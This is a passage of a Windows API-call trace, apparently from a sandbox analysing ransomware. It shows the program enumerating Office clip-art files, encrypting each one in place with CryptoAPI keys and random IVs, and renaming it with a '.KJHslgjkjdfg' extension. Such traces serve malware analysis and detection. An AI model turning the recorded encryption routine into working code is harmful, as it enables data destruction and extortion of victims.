dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.142] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xab80, lpOverlapped=0x0) returned 1 [0192.143] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.143] SetEndOfFile (hFile=0x130) returned 1 [0192.146] GetProcessHeap () returned 0x990000 [0192.146] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.146] GetProcessHeap () returned 0x990000 [0192.146] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.kjhslgjkjdfg")) returned 1 [0192.147] CloseHandle (hObject=0x130) returned 1 [0192.147] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0192.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.148] GetProcessHeap () returned 0x990000 [0192.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.148] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0192.150] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.150] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.150] GetProcessHeap () returned 0x990000 [0192.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.151] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.151] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.151] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.151] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.151] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.151] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.151] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.151] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.152] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.152] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf39f, lpOverlapped=0x0) returned 1 [0192.153] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf3a0, dwBufLen=0xf3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf3a0) returned 1 [0192.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.154] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf3a0, lpOverlapped=0x0) returned 1 [0192.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.154] SetEndOfFile (hFile=0x130) returned 1 [0192.158] GetProcessHeap () returned 0x990000 [0192.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.158] GetProcessHeap () returned 0x990000 [0192.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.kjhslgjkjdfg")) returned 1 [0192.159] CloseHandle (hObject=0x130) returned 1 [0192.159] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0192.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.160] GetProcessHeap () returned 0x990000 [0192.160] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.160] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.160] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.163] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.163] GetProcessHeap () returned 0x990000 [0192.163] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.163] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.163] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.163] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.164] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.164] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x462c, lpOverlapped=0x0) returned 1 [0192.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4630, dwBufLen=0x4630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4630) returned 1 [0192.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.165] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4630, lpOverlapped=0x0) returned 1 [0192.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.166] SetEndOfFile (hFile=0x130) returned 1 [0192.168] GetProcessHeap () returned 0x990000 [0192.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.168] GetProcessHeap () returned 0x990000 [0192.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.kjhslgjkjdfg")) returned 1 [0192.170] CloseHandle (hObject=0x130) returned 1 [0192.170] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0192.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.170] GetProcessHeap () returned 0x990000 [0192.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.170] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.171] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0192.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.173] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.173] GetProcessHeap () returned 0x990000 [0192.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.173] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.173] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.173] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.173] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.173] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.174] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.174] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.174] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8ada, lpOverlapped=0x0) returned 1 [0192.175] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ae0) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.176] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8ae0, lpOverlapped=0x0) returned 1 [0192.176] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.176] SetEndOfFile (hFile=0x130) returned 1 [0192.179] GetProcessHeap () returned 0x990000 [0192.179] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.179] GetProcessHeap () returned 0x990000 [0192.179] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.kjhslgjkjdfg")) returned 1 [0192.180] CloseHandle (hObject=0x130) returned 1 [0192.181] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0192.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.181] GetProcessHeap () returned 0x990000 [0192.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.181] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0192.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.183] GetProcessHeap () returned 0x990000 [0192.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.183] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.183] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.183] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.184] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.184] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.184] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.184] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.184] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x62b1, lpOverlapped=0x0) returned 1 [0192.185] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0) returned 1 [0192.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.186] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x62c0, lpOverlapped=0x0) returned 1 [0192.186] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.186] SetEndOfFile (hFile=0x130) returned 1 [0192.188] GetProcessHeap () returned 0x990000 [0192.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.188] GetProcessHeap () returned 0x990000 [0192.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.kjhslgjkjdfg")) returned 1 [0192.189] CloseHandle (hObject=0x130) returned 1 [0192.190] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, 